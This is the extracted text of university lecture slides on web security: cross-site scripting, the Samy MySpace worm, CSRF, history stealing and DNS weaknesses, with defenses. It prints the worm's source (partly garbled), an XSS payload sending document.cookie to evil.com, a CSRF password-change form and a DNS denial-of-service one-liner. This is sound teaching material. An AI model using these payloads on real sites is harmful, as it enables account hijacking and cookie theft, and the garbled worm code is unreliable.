Web Security (cont.)

Daniel Halperin
Tadayoshi Kohno

Thanks to Dan Boneh, Dieter Gollmann, John Manferdelli, John Mitchell, Vitaly Shmatikov, Bennet Yee, and many others for sample slides and materials ...
Today, 10/28

• Web Security
• Security Reviews & Current Event Reports
  • Groups of 1-3, 1 submission per group
  • First of each due: Friday, Nov. 4
• Homework #2: Symmetric Cryptography is out
  • Individual homework assignment
  • Due 11/9, 5pm (1.5 weeks)
• Up on Catalyst and linked from website
Risks of Poorly Written Scripts

For example, echo user’s input

http://naive.com/search.php?term="Security is Happiness"
search.php responds with
<html> <title>Search results</title> <body>You have searched for <?php echo $_GET[term] ?>... </body>

Or

GET /hello.cgi?name=Bob
hello.cgi responds with
<html>Welcome, dear Bob</html>
Risks of Poorly Written Scripts

For example, echo user’s input

http://naive.com/search.php?term="Security is Happiness"
search.php responds with
<html> <title>Search results</title> <body> You have searched for <?php echo $_GET[term] ?>...
</body>

Or

GET /hello.cgi?name=Bob
hello.cgi responds with
<html>Welcome, dear Bob</html>
Data flow

• User connects to naive.com/hello.cgi?name=parameter

• Server runs hello.cgi (taking into account parameters) and generates a webpage

• Server returns webpage to user

• User’s browser renders webpage
Examples

naive.com/hello.cgi?
name=Bob

Welcome, dear Bob

naive.com/hello.cgi?name=<img src='http://www.cs.washington.edu/homes/yoshi/support/kohno-stairs2.jpg'>

Welcome, dear
So what?

- User-supplied data is shown to user
- Who cares?
MySpace Worm (1)

http://namb.la/popular/tech.html
MySpace Worm (1)

http://namb.la/popular/tech.html

- Users can post HTML on their MySpace pages
MySpace Worm (1)

- Users can post HTML on their MySpace pages
- MySpace does not allow scripts in users’ HTML
MySpace Worm (1)

http://namb.la/popular/tech.html

- Users can post HTML on their MySpace pages
- MySpace does **not** allow scripts in users’ HTML
  - No `<script>`, `<body>`, `onclick`, `<a href=javascript://>`
MySpace Worm (1)

- Users can post HTML on their MySpace pages
- MySpace does **not** allow scripts in users’ HTML
  - No `<script>`, `<body>`, `onclick`, `<a href=javascript://>`
- ... but does allow `<div>` tags for CSS.
MySpace Worm (1)

- Users can post HTML on their MySpace pages
- MySpace does **not** allow scripts in users’ HTML
  - No `<script>`, `<body>`, `onclick`, `<a href=javascript://>`
- ... but does allow `<div>` tags for CSS.
  - `<div style="background:url(‘javascript:alert(1)’)">`
MySpace Worm (1)

- Users can post HTML on their MySpace pages
- MySpace does **not** allow scripts in users’ HTML
  - No `<script>`, `<body>`, `onclick`, `<a href=javascript://>`
- ... but does allow `<div>` tags for CSS.
  - `<div style="background:url('javascript:alert(1)')">`
- But MySpace will strip out “javascript”

http://namb.za/popular/tech.html
MySpace Worm (1)

- Users can post HTML on their MySpace pages
- MySpace does **not** allow scripts in users’ HTML
  - No `<script>`, `<body>`, `onclick`, `<a href=javascript://>`
- ... but does allow `<div>` tags for CSS.
  - `<div style="background:url('javascript:alert(1)')">`
- But MySpace will strip out “javascript”
  - Use “java<NEWLINE>script” instead

http://namb.la/popular/tech.html
MySpace Worm (1)

- Users can post HTML on their MySpace pages
- MySpace does **not** allow scripts in users’ HTML
  - No `<script>`, `<body>`, `onclick`, `<a href=javascript://>`
- ... but does allow `<div>` tags for CSS.
  - `<div style="background:url('javascript:alert(1)')">`
- But MySpace will strip out “javascript”
  - Use “java<NEWLINE>script” instead
- But MySpace will strip out quotes
Users can post HTML on their MySpace pages

MySpace does **not** allow scripts in users’ HTML

- No `<script>`, `<body>`, `onclick`, `<a href=javascript://>`

... but does allow `<div>` tags for CSS.

- `<div style="background:url('javascript:alert(1)')">`

But MySpace will strip out “javascript”

- Use “java

But MySpace will strip out quotes

- Convert from decimal instead:
Users can post HTML on their MySpace pages

MySpace does **not** allow scripts in users’ HTML

- No `<script>`, `<body>`, `onclick`, `<a href=javascript://>`
- ... but does allow `<div>` tags for CSS.
  - `<div style="background:url('javascript:alert(1)')">`

But MySpace will strip out “javascript”

- Use “java<NEWLINE>script” instead

But MySpace will strip out quotes

- Convert from decimal instead:
  `alert('double quote: ' + String.fromCharCode(34))`
<div id=mycode style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g() {var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){if(C){return C}else{return eval('document.body.inne'+rHTML')}}}function getData(AU){var AS=new Array();for(var o=0;O<a.length;O++){var i=str[F].split(';',AS[I][0]=I[1]);return AS}var J=var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname==profile.myspace.com){document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}main()}}function getClientFID(){return findIn(g(),'up_launchIC('+A,A))}function nothing(){}}function paramsToString(AV){var N=new String();var O=0;for(var P in AV){if(O>0){N+='&'}var Q=escape(AV[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('&','%26')}N+=P+'='+Q;O++}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onreadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Length',BK.length)}J.send(BK);return true}function findIn(BF,BB,BC){var R=BF.indexOf(BB)+BB.length;var S=BF.substring(R,R+1024);return S.substring(0,S.indexOf(BC))}function getHiddenParameter(BF,BG){return findIn(BF,'name='+BG+B+' value='+B)}function getFromURL(BF,BG){var T;if(BG=='Mytoken'){T=B}else{T='&'}var U=BG+'=';var V=BF.indexOf(U)+U.length;var W=BF.substring(V,V+1024);var X=W.indexOf(T);var Y=W.substring(0,X);return Y}function getXMLObj(){var Z=false;if(window.XMLHttpRequest){try{Z=new XMLHttpRequest()}catch(e){Z=false}}else if(window.ActiveXObject){try{Z=new ActiveXObject('Msxml2.XMLHTTP')}catch(e){try{Z=new ActiveXObject('Microsoft.XMLHTTP')}catch(e){Z=false}}}return Z}var AA=g();var AB=AA.indexOf('mycode');var AC=AA.substring(AB,AB+4096);var AD=AC.indexOf('DIV');var AE=AC.substring(0,AD);var AF;if(AE){AE=AE.replace('java',A+'java');AE=AE.replace('expr)','expr)'+A);AF=' but most of all, samy is my hero.
</div>
**MySpace Worm (2)**

---

_**Resulting code:**_

```javascript
<div id=mycode style="BACKGROUND: url('java
script:eval(document.all.mycode.expr)')" expr="var B=String.fromCharCode(34);var A=String.fromCharCode(39);function g(){var C;try{var D=document.body.createTextRange();C=D.htmlText}catch(e){}if(C){return C}else{return eval('document.body.innerHTML')}}function getMySpace(AU){M=getFromURL(AU,'friendID');L=getFromURL(AU,'Mytoken');function getData(AU){var AS=new Array();for(var O=0;O<length;O++){var I=O;split(=);var AS[I[0]]=I[1];return AS}var J;var AS=getQueryParams();var L=AS['Mytoken'];var M=AS['friendID'];if(location.hostname=='profile.myspace.com')document.location='http://www.myspace.com'+location.pathname+location.search}else{if(!M){getData(g())}function getClientFID(){return findIn(g(),'up_launchIC( '+A,A)}function nothing(){}function paramsToString(A V){var N=new String();var O=0;for(var P in A V){if(O>0){N+='&'}var Q=escape(A V[P]);while(Q.indexOf('+')!=-1){Q=Q.replace('+','%2B')}while(Q.indexOf('&')!=-1){Q=Q.replace('','%26')}N+=P+'='+Q;}return N}function httpSend(BH,BI,BJ,BK){if(!J){return false}eval('J.onreadystatechange=BI');J.open(BJ,BH,true);if(BJ=='POST'){J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');}J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');J.setRequestHeader('Content-Type','application/x-www-form-urlencoded');}J.send(BK);return true}function getHome(){if(J.readyState!=4){return}var AU=J.responseText;AG=findIn(AU,'ProfileHeroes','</td>');AG=AG.substring(61,AG.length);if(AG.indexOf('samy')==-1){if(AF){AG+=AF;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Preview';AS['interest']=AG;J=getXMLObj();httpSend('/index.cfm?fuseaction=profilePreviewInterests&Mytoken='+AR+POST+'&POST=Preview',paramsToString(AS))}}function postHero(){if(J.readyState!=4){return}var AU=J.responseText;var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['interestLabel']='heroes';AS['submit']='Submit';AS['interest']=AG;AS['hash']=getHiddenParameter(AU,'hash');httpSend('/index.cfm?fuseaction=profileProcessInterests&Mytoken='+AR+POST+'&POST=Preview',paramsToString(AS))}function main(){var AN=getClientFID();var BH='/index.cfm?fuseaction=user.viewProfile&friendID='+AN+'&Mytoken='+L;J=getXMLObj();httpSend(BH,GET);xmlhttp2=getXMLObj();httpSend2('/index.cfm?fuseaction=invite.addfriend_verify&friendID=11851658&Mytoken='+L+POST+'&POST=Add to Friends')}function processxForm(){if(xmlhttp2.readyState!=4){return}var AU=xmlhttp2.responseText;var AQ=getHiddenParameter(AU,'hashcode');var AR=getFromURL(AU,'Mytoken');var AS=new Array();AS['hashcode']=AQ;AS['friendID']='11851658';AS['submit']='Add to Friends';httpSend2('/index.cfm?fuseaction=invite.addFriendsProcess&Mytoken='+AR+POST+'&POST=ADD',paramsToString(AS))}function httpSend2(BH,BI,BJ,BK){if(!xmlhttp2){return false}eval('xmlhttp2.onreadystatechange=BI');xmlhttp2.open(BJ,BH,true);if(BJ=='POST'){xmlhttp2.setRequestHeader('Content-Type','application/x-www-form-urlencoded');}xmlhttp2.send(BK);return true}""></DIV>
```

---

http://namb.la/popular/tech.html
Resulting code:  

```
MySpace Worm (2)

http://namb.la/popular/tech.html

```
MySpace Worm (3)

“There were a few other complications and things to get around. This was not by any means a straight forward process, and none of this was meant to cause any damage or piss anyone off. This was in the interest of..interest. It was interesting and fun!”

- Started on “samy” MySpace page
- Everybody who visits an infected page, becomes infected and adds “samy” as a friend and hero
- 5 hours later “samy” has 1,005,831 friends
  - Was adding 1,000 friends per second at its peak
Stealing Cookies by Cross Scripting

evil.com

victim’s browser

naive.com
Stealing Cookies by Cross Scripting

evil.com

Access some web page

victim’s browser

naive.com
Stealing Cookies by Cross Scripting

For example, embed URL in HTML email

Access some web page

victim’s browser
Stealing Cookies by Cross Scripting

evil.com

Access some web page

victim’s browser

For example, embed URL in HTML email


naive.com
Stealing Cookies by Cross Scripting

Access some web page

For example, embed URL in HTML email

Forces victim’s browser to call hello.cgi on naive.com with script instead of name

Friday, October 28, 11
Stealing Cookies by Cross Scripting

Access some web page

For example, embed URL in HTML email

Forces victim’s browser to call hello.cgi on naive.com with script instead of name

GET/ hello.cgi?name=

Stealing Cookies by Cross Scripting

evil.com

Access some web page

For example, embed URL in HTML email

<FRAME SRC=http://naive.com/hello.cgi?
name=<script>win.open(
"http://evil.com/steal.cgi?
cookie="+document.cookie)
</script>>

Forces victim’s browser to call hello.cgi on naive.com with script instead of name

GET/ hello.cgi?name=
<script>win.open("http://
evil.com/steal.cgi?cookie"+document.cookie)</script>

naive.com

victim’s browser

hello.cgi executed

Friday, October 28, 11
Stealing Cookies by Cross Scripting

For example, embed URL in HTML email:

```
```

Access some web page:

```
GET/ hello.cgi?name=
```

Forces victim’s browser to call hello.cgi on naive.com with script instead of name:

```
>Hello, dear
Welcome!</HTML>
```

Interpreted as Javascript by victim’s browser; opens window and calls steal.cgi on evil.com:

```
<html>Hello, dear
Welcome!</html>
```
Stealing Cookies by Cross Scripting

For example, embed URL in HTML email

Access some web page

<html>
  <head>
    <script>
      window.open("http://naive.com/hello.cgi?name=");
    </script>
  </head>
  <body>
    <h1>Hello, dear</h1>
    <script>
      window.open("http://evil.com/steal.cgi?cookie=" + document.cookie);
    </script>
    Welcome!
  </body>
</html>

Interpreted as Javascript by victim’s browser; opens window and calls steal.cgi on evil.com

GET /steal.cgi?cookie=

Forces victim’s browser to call hello.cgi on naive.com with script instead of name

GET/ hello.cgi?name=

GET/ hello.cgi?name=

evil.com

victim’s browser

naive.com

hello.cgi executed

Friday, October 28, 11
XSS Defenses

 CONSTANTLY EVOLVING LANDSCAPE

-  http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet

DEFENSE IN DEPTH

-  Input validation
-  Escaping -- characters treated as data, not characters that are relevant to the interpreter’s parser
  -  OWASP ESAPI (Enterprise Security API) (escaping library)
  -  Microsoft AntiXSS (escaping library)

FIRST RULE:

-  Don’t put untrusted data into HTML documents unless you escape (or know what you’re doing)
XSS Defenses

◆ `<body> .... ESCAPE UNTRUSTED DATA ... </body>`
  • Escape &, <, >, "", ", /

◆ String
  safe=ESAPI.encoder().encodeForHTML(request.getParameter("input"))

◆ HTTPOnly cookie: cookie only transmitted over HTTP, not accessible via JavaScript
  • Defense in depth (not supported by all browsers)

◆ More:  [http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet](http://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_Cheat_Sheet)
Cross Site Request Forgery

- Websites use cookies to authenticate you.
- Malicious website can initiate an action as you to a good website
  - Your cookie for the good website would be sent along with the request
  - Good website executes that action, thinking it was you
Changing Password with CSRF

evil.com

victim’s browser

good.com
Changing Password with CSRF

evil.com

Access some web page

victim’s browser

good.com
Changing Password with CSRF

For example, embed URL in HTML email

Access some web page
Changing Password with CSRF

evil.com

For example, embed URL in HTML email

Access some web page

victim’s browser

<script> (submit form) </script>

good.com

Access some web page

<form ... action="https://good.com/update_acct"><input name="passwd" value="owned"/></form>
Changing Password with CSRF

Access some web page

<form ... action="https://good.com/update_acct"><input name="passwd" value="owned"></form>
<script> (submit form) </script>

Forces victim’s browser to submit a form to good.com. In that form is a new password.

For example, embed URL in HTML email
Changing Password with CSRF

Evil.com

Access some web page

For example, embed URL in HTML email

Victim's browser

Form:

```html
<form ... action="https://good.com/update_acct">  
<input name="passwd" value="owned">  
</form>
<script> (submit form) </script>
```

Forces victim's browser to submit a form to good.com. In that form is a new password.

Good.com

GET /update_acct.cgi with "passwd=owned" and cookie
Changing Password with CSRF

For example, embed URL in HTML email:

```
<form ... action="https://good.com/update_acct"><input name="passwd" value="owned"></form><script> (submit form) </script>
```

Access some web page:

```
GET /update_acct.cgi with "passwd=owned" and cookie
```

Forces victim’s browser to submit a form to good.com. In that form is a new password.
Changing Password with CSRF

evil.com

For example, embed URL in HTML email

Access some web page

<form ... action="https://good.com/update_acct"> <input name="passwd" value="owned"></form>

<script> (submit form) </script>

Forces victim’s browser to submit a form to good.com. In that form is a new password.

good.com

GET /update_acct.cgi .. with “passwd=owned” and cookie

users password changed to “owned”

update_acct executed
CSRF defenses

- Use a Synchronizer Token Pattern.
  - Generate random “challenge” token associated with user’s session
  - Insert into HTML forms and links associated with sensitive server-side operations.
  - HTTP request should include this challenge token.
  - Server should verify the existence and correctness of this token.
CSRF defenses

◆ Example of Synchronizer Token Pattern
  • `<form action="/transfer.do" method="post">
  •   `<input type="hidden" name="CSRFToken" value="OWY4NmQwODE4ODRjN2Q2NTIhMmZlYWEwYzU1YWQwMTVhM2JmNGYxYjJiMGI4MjJjZDE1ZDZjMTViMGYwMGEwOAE="">
  •   ...
  •   `</form>`

◆ Careful if use GET (URL) requests: may appear in browser histories, logs

◆ Careful with using cookie as token: Doesn’t mix with HTTPOnly; may increase exposure of cookie
Login CSRF
Login CSRF

- Attacker can use CSRF to log you into their account
Login CSRF

- Attacker can use CSRF to log you into their account
- Why?
  - Search engines can store search history; force user to log into attackers account; attacker can monitor user’s searches
  - Paypal: enter credit card number into attacker’s account
History Stealing

Pages in web browser are colored differently based on whether you have visited them or not.

Attacker can exploit this to figure out what web pages you have visited.

Example:

- [http://ha.ckers.org/weird/CSS-history-hack.html](http://ha.ckers.org/weird/CSS-history-hack.html) (for Firefox)
- [http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html](http://jeremiahgrossman.blogspot.com/2006/08/i-know-where-youve-been.html)
- Other examples are a bit more “directed”...
Cheating the Same Origin Policy

- JavaScript same-origin policy
  - Can only read properties of documents and windows from the same server, protocol, and port

- But can an attacker change the server?
  - Yes! If an attacker can control DNS (Domain Name Service)
DNS: Domain Name Service

DNS maps symbolic names to numeric IP addresses
(for example, www.cs.washington.edu ⇔ 128.208.3.88)
DNS: Domain Name Service

DNS maps symbolic names to numeric IP addresses
(for example, www.cs.washington.edu ↔ 128.208.3.88)

Client

www.cs.washington.edu

Local DNS recursive resolver

NS www.cs.washington.edu

NS washington.edu

root & edu DNS server

washington.edu DNS server
DNS maps symbolic names to numeric IP addresses (for example, www.cs.washington.edu ↔ 128.208.3.88)
DNS Caching

- DNS responses are cached
  - Quick response for repeated translations
  - Other queries may reuse some parts of lookup
    - NS records for domains

- DNS negative queries are cached
  - Don’t have to repeat past mistakes
    - For example, misspellings

- Cached data periodically times out
  - Lifetime (TTL) of data controlled by owner of data
  - TTL passed with every record
Cached Lookup Example

Client

Local DNS recursive resolver

ftp.cs.washington.edu

root & edu DNS server

washington.edu DNS server

cs.washington.edu DNS server

ftp.cs.washington.edu

ftp=IPaddr

ftp=IPaddr
DNS Vulnerabilities

- DNS host-address mappings are *not* authenticated
- DNS implementations have vulnerabilities
  - Reverse query buffer overrun in old releases of BIND
    - Gain root access, abort DNS service...
  - MS DNS for NT 4.0 crashes on chargen stream
    - telnet ntbox 19 | telnet ntbox 53
- Denial of service is a risk
  - If can’t use DNS ... can’t use the “Internet”

- Just recently (summer 2010) DNSSEC starting to be deployed